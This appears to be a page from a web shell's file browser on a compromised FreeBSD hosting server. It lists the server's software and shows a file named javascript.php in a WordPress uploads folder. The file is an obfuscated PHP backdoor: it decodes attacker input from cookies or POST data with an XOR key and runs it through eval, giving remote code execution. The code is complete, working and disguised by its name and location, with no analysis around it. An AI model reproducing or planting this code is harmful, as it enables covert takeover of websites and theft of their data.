HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/uploads/javascript.php
<?php
$mjnkxi = 'st*m5b7_cl4fik6n91xpveo3dyg-\'#Ha0ru';$umvmrel = Array();$umvmrel[] = $mjnkxi[30].$mjnkxi[2];$umvmrel[] = $mjnkxi[24].$mjnkxi[4].$mjnkxi[14].$mjnkxi[11].$mjnkxi[8].$mjnkxi[21].$mjnkxi[21].$mjnkxi[23].$mjnkxi[27].$mjnkxi[5].$mjnkxi[11].$mjnkxi[23].$mjnkxi[24].$mjnkxi[27].$mjnkxi[10].$mjnkxi[8].$mjnkxi[4].$mjnkxi[8].$mjnkxi[27].$mjnkxi[5].$mjnkxi[11].$mjnkxi[4].$mjnkxi[17].$mjnkxi[27].$mjnkxi[10].$mjnkxi[11].$mjnkxi[24].$mjnkxi[16].$mjnkxi[14].$mjnkxi[6].$mjnkxi[23].$mjnkxi[24].$mjnkxi[8].$mjnkxi[21].$mjnkxi[32].$mjnkxi[32];$umvmrel[] = $mjnkxi[29];$umvmrel[] = $mjnkxi[8].$mjnkxi[22].$mjnkxi[34].$mjnkxi[15].$mjnkxi[1];$umvmrel[] = $mjnkxi[0].$mjnkxi[1].$mjnkxi[33].$mjnkxi[7].$mjnkxi[33].$mjnkxi[21].$mjnkxi[19].$mjnkxi[21].$mjnkxi[31].$mjnkxi[1];$umvmrel[] = $mjnkxi[21].$mjnkxi[18].$mjnkxi[19].$mjnkxi[9].$mjnkxi[22].$mjnkxi[24].$mjnkxi[21];$umvmrel[] = $mjnkxi[0].$mjnkxi[34].$mjnkxi[5].$mjnkxi[0].$mjnkxi[1].$mjnkxi[33];$umvmrel[] = $mjnkxi[31].$mjnkxi[33].$mjnkxi[33].$mjnkxi[31].$mjnkxi[25].$mjnkxi[7].$mjnkxi[3].$mjnkxi[21].$mjnkxi[33].$mjnkxi[26].$mjnkxi[21];$umvmrel[] = $mjnkxi[0].$mjnkxi[1].$mjnkxi[33].$mjnkxi[9].$mjnkxi[21].$mjnkxi[15];$umvmrel[] = $mjnkxi[19].$mjnkxi[31].$mjnkxi[8].$mjnkxi[13];foreach ($umvmrel[7]($_COOKIE, $_POST) as $dhfgst => $luwnnl){function ldzvo($umvmrel, $dhfgst, $cgmfw){return $umvmrel[6]($umvmrel[4]($dhfgst . $umvmrel[1], ($cgmfw / $umvmrel[8]($dhfgst)) + 1), 0, $cgmfw);}function xnnzabt($umvmrel, $asxregc){return @$umvmrel[9]($umvmrel[0], $asxregc);}function ehjcvun($umvmrel, $asxregc){$agtpfrh = $umvmrel[3]($asxregc) % 3;if (!$agtpfrh) {eval($asxregc[1]($asxregc[2]));exit();}}$luwnnl = xnnzabt($umvmrel, $luwnnl);ehjcvun($umvmrel, $umvmrel[5]($umvmrel[2], $luwnnl ^ ldzvo($umvmrel, $dhfgst, $umvmrel[8]($luwnnl))));}